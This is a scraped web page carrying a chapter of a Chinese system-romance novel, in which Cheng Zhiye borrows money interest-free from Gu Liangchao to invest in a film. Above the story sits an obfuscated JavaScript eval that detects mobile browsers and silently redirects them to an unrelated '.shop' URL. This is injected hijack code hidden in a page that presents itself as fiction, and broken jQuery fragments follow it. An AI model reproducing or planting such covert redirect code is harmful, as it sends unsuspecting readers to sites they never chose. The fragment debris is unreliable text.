;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284295|198420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,顾良朝嘴角弧度略微下沉,语气丝毫不在意地说,“如果是我,不管是喜欢还是讨厌,注定得不到回应的感情还不如早早放弃,说不定会遇到新的际遇。”
闻言,程知也露出一个标准的微笑,点头道:“你说的很有道理。”
她明明在笑,顾良朝偏偏就从那笑里看出几分苦涩来,莫名就生出几分自己都不明缘由的烦躁来。
一整场电影,顾良朝始终冷脸注视着前方,程知也丝毫没感受到他有什么不对劲,拿爆米花的时候袖子几次触碰到他的手背。
电影十点散场,程知也小心翼翼地领着他从电影院出来,顾良朝脸色才稍微好了点。
“电影还挺好看的。”程知也笑着评价道。
电影拍得确实不错,萧妄川在这方面的眼光实属毒辣,估计等正式上映就能迎来大卖。
“还行。”顾良朝呼出一口气,偏头问她:“我送你回去?”
程知也正想着找萧妄川问问电影投资的事,闻言,摇头笑着拒绝:“今天没喝酒,我自己开车回去。”
顾良朝露出一个极轻极浅的笑容,淡淡地问道:“饿了没?要不要买点吃的带回去?”
程知也眼睛忽地一亮,语气试探地看着他:“顾总今晚心情很好啊?”
平时约他打球都冷着一张脸,今天非但主动提出打球,对比之前对她的态度,今晚简直温和到有些诡异的地步。
顾良朝没否认,唇边依旧留存着那抹极淡的笑,开口道:“还行,不过也没到‘很好’的地步。”
程知也顺杆而上:“那我能不能跟顾总商量件事?我保证,绝对不会损害到顾总的利益。”
顾良朝淡淡地瞥她一眼:“你先说。”
“顾总能不能先借我点钱,我想投资萧总公司的下一部电影。”程知也笑着跟他打商量,“我手上能自由支配的流动资金不多,想着多投点也能多赚点,到时候我按照8%的利率连本带利还你,怎么样?”
程知也很有信心,她看过萧妄川新电影的预宣发,人物故事很吸引人,再加上萧妄川挑选剧本独到的眼光,这门生意稳赚不赔。
顾良朝一直看她,程知也心里突然有些没把握。
“顾总要是不愿意也——”
“不要利息。”顾良朝突然出声道。
程知也惊讶地睁大眼睛问道:“什么?”
“我借你,不算利息,你尽管投,赔了算我的,赚了算你的。”顾良朝淡淡地笑着。
这实属于天上掉馅饼一样的好事,程知也忍不住高兴地确认:“顾总可是君子,君子一言——”
“驷马难追,”他漫不经心地接过后半句,道:“既然我答应了借你,还不收你利息,那你是不是该考虑换个称呼?”顾良朝抬手捏了捏脖颈,“明明是在外面,听到‘顾总’两个字好像一瞬间被送回到办公室里。”
他竟然还开起了玩笑,程知也心情也变得轻快起来,想了想,歪着头问道:“那我叫你什么比较合适呢?要不叫你顾大善人怎么样?借钱不收利息的大善人。”
“大善人”跟“大好人”本质上没什么区别,都是客气疏离、在某些特定时候表示委婉拒绝的称呼,顾良朝轻皱了下眉,耳边突然想起庆功宴那晚的“小良朝”,他猛地别开眼神,耳尖悄然染上一抹绯红。
程知也只当他是不喜欢这个称呼,挠了挠头,道:“那要不我还是叫你的名字?”
顾良朝轻轻地嗯了一声表示同意。
系统突然提示黑化值又降到了65,程知也喜上加喜,一路上找着机会地叫顾良朝的名字,发现好感度又上涨到了35。
顾良朝眼神不经意瞟过身旁乐得开怀的人,眼角眉梢也跟着染上一丝笑意。
光是叫他的名字就能让她这么开心?